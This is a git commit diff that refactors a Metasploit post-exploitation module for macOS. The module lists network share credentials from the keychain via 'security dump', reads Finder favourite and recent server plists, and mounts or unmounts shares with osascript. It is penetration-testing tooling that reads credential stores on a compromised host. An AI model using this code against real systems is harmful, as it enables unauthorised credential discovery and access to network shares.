Some code tweaks to post/osx/mount_share.

* Make PROTOCOL an Enum
* Move path override options to advanced section
* More Enumerable rework
* Move one-off regexes back to inline, pull out protocol list
bug/bundler_fix
joev 2013-11-27 05:22:12 -06:00
parent 4a6511311d
commit 485e38ebca
1 changed files with 46 additions and 60 deletions

View File

@ -8,10 +8,9 @@ require 'rex'
class Metasploit3 < Msf::Post
include Msf::Post::File
FILE_SHARE_PROTOCOLS = %w(smb nfs cifs ftp afp)
REGEX_PROTO = "^.*\=\"(.*)\w*\"\w*$"
REGEX_SERVER = "^.*\=\"(.*)\"\w*$"
include Msf::Post::File
def initialize(info={})
super( update_info( info,
@ -27,8 +26,8 @@ class Metasploit3 < Msf::Post
'Platform' => [ 'osx' ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Actions' => [
[ 'LIST', { 'Description' => 'Show a list of stored network share credentials' } ],
[ 'MOUNT', { 'Description' => 'Mount a network shared volume using stored credentials' } ],
[ 'LIST', { 'Description' => 'Show a list of stored network share credentials' } ],
[ 'MOUNT', { 'Description' => 'Mount a network shared volume using stored credentials' } ],
[ 'UNMOUNT', { 'Description' => 'Unmount a mounted volume' } ]
],
'DefaultAction' => 'LIST'
@ -37,22 +36,26 @@ class Metasploit3 < Msf::Post
register_options(
[
OptString.new('VOLUME', [true, 'Name of network share volume. `set ACTION LIST` to get a list.', 'localhost']),
OptEnum.new('PROTOCOL', [true, 'Network share protocol.', 'smb', FILE_SHARE_PROTOCOLS])
], self.class)
register_advanced_options(
[
OptString.new('SECURITY_PATH', [true, 'Path to the security executable.', '/usr/bin/security']),
OptString.new('OSASCRIPT_PATH', [true, 'Path to the osascript executable.', '/usr/bin/osascript']),
OptString.new('SIDEBAR_PLIST_PATH', [true, 'Path to the finder sidebar plist.', '~/Library/Preferences/com.apple.sidebarlists.plist']),
OptString.new('RECENT_PLIST_PATH', [true, 'Path to the finder recent plist.', '~/Library/Preferences/com.apple.recentitems.plist']),
OptString.new('PROTOCOL', [true, 'Network share protocol. `set ACTION LIST` to get a list.', 'smb'])
], self.class)
OptString.new('RECENT_PLIST_PATH', [true, 'Path to the finder recent plist.', '~/Library/Preferences/com.apple.recentitems.plist'])
]
)
end
def run
fail_with("Invalid action") if action.nil?
username = cmd_exec('whoami')
security_path = datastore['SECURITY_PATH'].shellescape
sidebar_plist_path = datastore['SIDEBAR_PLIST_PATH'].gsub(/^\~/, "/Users/#{username}").shellescape
recent_plist_path = datastore['RECENT_PLIST_PATH'].gsub(/^\~/, "/Users/#{username}").shellescape
username = cmd_exec('whoami').strip
security_path = datastore['SECURITY_PATH']
sidebar_plist_path = datastore['SIDEBAR_PLIST_PATH'].gsub(/^\~/, "/Users/#{username}")
recent_plist_path = datastore['RECENT_PLIST_PATH'].gsub(/^\~/, "/Users/#{username}")
if action.name == 'LIST'
if file?(security_path)
@ -112,104 +115,87 @@ class Metasploit3 < Msf::Post
end
def get_keyring_shares(security_path)
vprint_status("#{security_path} dump")
data = cmd_exec("#{security_path} dump")
data = cmd_exec("#{security_path.shellescape} dump")
# Grep for desc srvr and ptcl
tmp = []
lines = data.lines.select { |line| line =~ /desc|srvr|ptcl/ }.map(&:strip)
# Go through the list, find the saved Network Password descriptions
# and their corresponding ptcl and srvr attributes
list = []
for x in 0..lines.length-1
if lines[x] =~ /"desc"<blob>="Network Password"/ && x < lines.length-3
# for x in 0..lines.length-1
lines.each_with_index do |line, x|
if line =~ /"desc"<blob>="Network Password"/ && x < lines.length-3
# Remove everything up to the double-quote after the equal sign,
# and also the trailing double-quote
if lines[x+1].match(REGEX_PROTO)
if lines[x+1].match "^.*\=\"(.*)\w*\"\w*$"
protocol = $1
if protocol =~ /smb|nfs|cifs|ftp|afp/ && lines[x+2].match(REGEX_SERVER)
if protocol.start_with?(*FILE_SHARE_PROTOCOLS) && lines[x+2].match("^.*\=\"(.*)\"\w*$")
server = $1
list.push(protocol + "\t" + server)
end
end
end
end
return list.sort
list.sort
end
def get_favorite_shares(sidebar_plist_path)
vprint_status("defaults read #{sidebar_plist_path} favoriteservers")
data = cmd_exec("defaults read #{sidebar_plist_path} favoriteservers")
data = cmd_exec("defaults read #{sidebar_plist_path.shellescape} favoriteservers")
# Grep for URL
list = []
lines = data.lines
lines.each do |line|
line.strip!
if line =~ /^URL = \"(.*)\"\;$/
list.push($1)
end
end
list = data.lines.map(&:strip).map { |line| line =~ /^URL = \"(.*)\"\;$/; $1 }.compact
data = cmd_exec("defaults read #{sidebar_plist_path.shellescape} favorites")
vprint_status("defaults read #{sidebar_plist_path} favorites")
data = cmd_exec("defaults read #{sidebar_plist_path} favorites")
# Grep for EntryType and Name
tmp = []
lines = data.lines
lines.each do |line|
line.strip!
if line =~ /EntryType|Name/
tmp.push(line)
end
end
lines = data.lines.map(&:strip).select { |line| line =~ /EntryType|Name/ }
# Go through the list, find the rows with EntryType 8 and their
# corresponding name
for x in 0..tmp.length-1
if tmp[x] =~ /EntryType = 8;/ && x < tmp.length-2
if tmp[x+1] =~ /^Name \= \"(.*)\"\;$/
for x in 0..lines.length-1
if lines[x] =~ /EntryType = 8;/ && x < lines.length-2
if lines[x+1] =~ /^Name \= \"(.*)\"\;$/
name = $1
list.push(name) unless list.include?(name)
elsif tmp[x+1] =~ /^Name \= (.*)\;$/
elsif lines[x+1] =~ /^Name \= (.*)\;$/
name = $1
list.push(name) unless list.include?(name)
end
end
end
return list.sort
end
def get_recent_shares(recent_plist_path)
vprint_status("defaults read #{recent_plist_path} RecentServers")
data = cmd_exec("defaults read #{recent_plist_path} RecentServers")
data = cmd_exec("defaults read #{recent_plist_path.shellescape} RecentServers")
# Grep for Name
regexes = [ /^Name = \"(.*)\"\;$/, /^Name = (.*)\;$/ ]
list = data.lines.select{ |line| if regexes.any?{ |r| line.strip! =~ r } then $1 end }.compact.uniq.map(&:strip)
return list
data.lines.select{ |line| if regexes.any? { |r| line.strip! =~ r } then $1 end }.compact.uniq.map(&:strip)
end
def get_mounted_volumes
vprint_status("ls /Volumes")
data = cmd_exec("ls /Volumes")
list = data.lines.map(&:strip).sort
return list
data.lines.map(&:strip).sort
end
def mount
share_name = datastore['VOLUME']
protocol = datastore['PROTOCOL']
print_status("Connecting to #{protocol}://#{share_name}")
cmd = "osascript -e 'tell app \"finder\" to mount volume \"#{protocol}://#{share_name}\"'"
vprint_status(cmd)
cmd_exec(cmd)
cmd_exec("#{osascript_path.shellescape} -e 'tell app \"finder\" to mount volume \"#{protocol}://#{share_name}\"'")
end
def unmount
share_name = datastore['VOLUME']
print_status("Disconnecting from #{share_name}")
cmd = "osascript -e 'tell app \"finder\" to eject \"#{share_name}\"'"
vprint_status(cmd)
cmd_exec(cmd)
cmd_exec("#{osascript_path.shellescape} -e 'tell app \"finder\" to eject \"#{share_name}\"'")
end
def cmd_exec(cmd)
vprint_status(cmd)
super
end
# path to osascript on the remote system
def osascript_path; datastore['OSASCRIPT_PATH']; end
end